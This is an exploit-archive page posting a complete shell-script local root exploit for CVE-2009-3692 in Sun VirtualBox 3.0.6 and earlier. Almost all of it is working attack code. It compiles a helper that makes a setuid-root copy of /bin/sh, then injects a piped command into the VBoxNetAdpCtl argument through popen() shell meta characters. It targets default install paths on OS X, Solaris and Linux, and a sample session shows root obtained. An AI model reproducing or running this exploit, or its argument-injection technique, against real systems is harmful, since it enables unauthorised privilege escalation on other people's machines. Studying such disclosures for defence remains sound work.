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Sun VirtualBox 3.0.6 Local Root

Sun VirtualBox 3.0.6 Local Root
Posted Oct 17, 2009
Authored by prdelka | Site prdelka.blackart.org.uk

Sun VirtualBox versions 3.0.6 and below local root exploit that takes advantage of a popen() meta char shell injection vulnerability.

tags | exploit, shell, local, root
advisories | CVE-2009-3692
MD5 | c406efbe8e998f36edbb0aa6652790fe

Sun VirtualBox 3.0.6 Local Root

Change Mirror Download
#!/bin/sh
# CVE-2009-3692 Sun VirtualBox <= 3.0.6 local root exploit
# ========================================================
# Exploits popen() meta char shell injection vulnerability
# in Sun VirtualBox.
#
# E.g.
# admin@sundevil:~/test$ id
# uid=101(admin) gid=10(staff) groups=10(staff)
# admin@sundevil:~/test$ uname -a
# SunOS sundevil 5.11 snv_111b i86pc i386 i86pc Solaris
# admin@sundevil:~/test$ ./prdelka-vs-SUN-virtualbox.sh
# [ Sun VirtualBox <= 3.0.6 OSX/SOL/LINUX local root exploit
# [ No path provided, will attempt to exploit system default
# [ Places a root shell in ./sh if succesful
# [ Detected a SunOS target
# [ Detected SunOS is x86 platform
# ifconfig: add: bad address
# [ Trying for root shell.
# # id
# uid=101(admin) gid=10(staff) euid=0(root) egid=0(root) groups=10(staff)
#
# -- prdelka
cat >> runme.c << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(int argc, char* argv[]){
FILE *from, *to;
int fd;
char ch;
setuid(0);
setgid(0);
from = fopen("/bin/sh","rb");
to = fopen("./sh","wb");
while(!feof(from)){
ch = fgetc(from);
if(!feof(from))
fputc(ch, to);
}
fclose(from);
fclose(to);
fd = open("./sh",O_RDWR);
fchown(fd,0,0);
fchmod(fd,S_IRWXU|S_IRWXG|S_IRWXO|S_ISUID|S_ISGID);
close(fd);
exit(0);
}
EOF
gcc runme.c -o runme 2>/dev/null
rm -rf runme.c
cat >> exploit.c << EOF
/*
CVE-2009-3692 VirtualBox VBoxNetAdpCtl Privilege Escalation
===========================================================
Local exploit for the popen() meta character shell injection
vulnerability that permits a malicious user to obtain root
privileges on the VirtualBox host machine. This exploit relies
on the "/bin/sh" binary on the host as being a non-privilege
dropping shell such as zsh, this is not always the OS default
setting.

Most modern platforms do not have a /bin/sh that retains
privileges by default however Solaris still seems to!

You can provide an arguement to the VBoxNetAdpCtl binary
path or alternatively this exploit detects local host platform
and runs with common or default installation location.
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/utsname.h>

int main(int argc,char* argv[])
{
char *env[] = {NULL};
int platform, machine = 0;
struct utsname* sysdetail = malloc(sizeof(struct utsname));
printf("[ Sun VirtualBox <= 3.0.6 OSX/SOL/LINUX local root exploit\n");
if(argc > 1){
printf("[ Trying %s\n", argv[1]);
execle(argv[1],argv[1],"vboxnet0|./runme","1::2",NULL,env);
exit(0);
}
else{
printf("[ No path provided, will attempt to exploit system default\n");
}
printf("[ Places a root shell in ./sh if succesful\n");
uname(sysdetail);
if(!strncmp("Darwin",sysdetail->sysname,strlen("Darwin")))
platform = 1;
if(!strncmp("SunOS",sysdetail->sysname,strlen("SunOS")))
platform = 2;
if(!strncmp("Linux",sysdetail->sysname,strlen("Linux")))
platform = 3;
switch(platform){
case 1:
printf("[ Detected a Mac OS X target\n");
execle("/Applications/VirtualBox.app/Contents/MacOS/VBoxNetAdpCtl","VBoxNetAdpCtl","vboxnet0|./runme","1::2",NULL,env);
break;
case 2:
printf("[ Detected a SunOS target\n");
if(!strncmp("i86pc",sysdetail->machine,strlen("i86pc"))){
printf("[ Detected SunOS is x86 platform\n");
execle("/opt/VirtualBox/i386/VBoxNetAdpCtl","VBoxNetAdpCtl","vboxnet0|./runme","1::2",NULL,env);
}
else{
printf("[ Guessing SunOS is amd64 platform\n");
execle("/opt/VirtualBox/amd64/VBoxNetAdpCtl","VBoxNetAdpCtl","vboxnet0|./runme","1::2",NULL,env);
}
break;
case 3:
printf("[ Detected a Linux target\n");
execle("/opt/VirtualBox/VBoxNetAdpCtl","VBoxNetAdpCtl","vboxnet0|./runme","1::2",NULL,env);
break;
default:
printf("[ Unknown OSE target. Try ./%s <path>/VBoxNetAdpCtl\n",argv[0]);
break;
}
exit(0);
}
EOF
gcc exploit.c -o exploit 2>/dev/null
rm -rf exploit.c
if [ $1 ]
then
./exploit $1
else
./exploit
fi
echo [ Trying for root shell.
./sh

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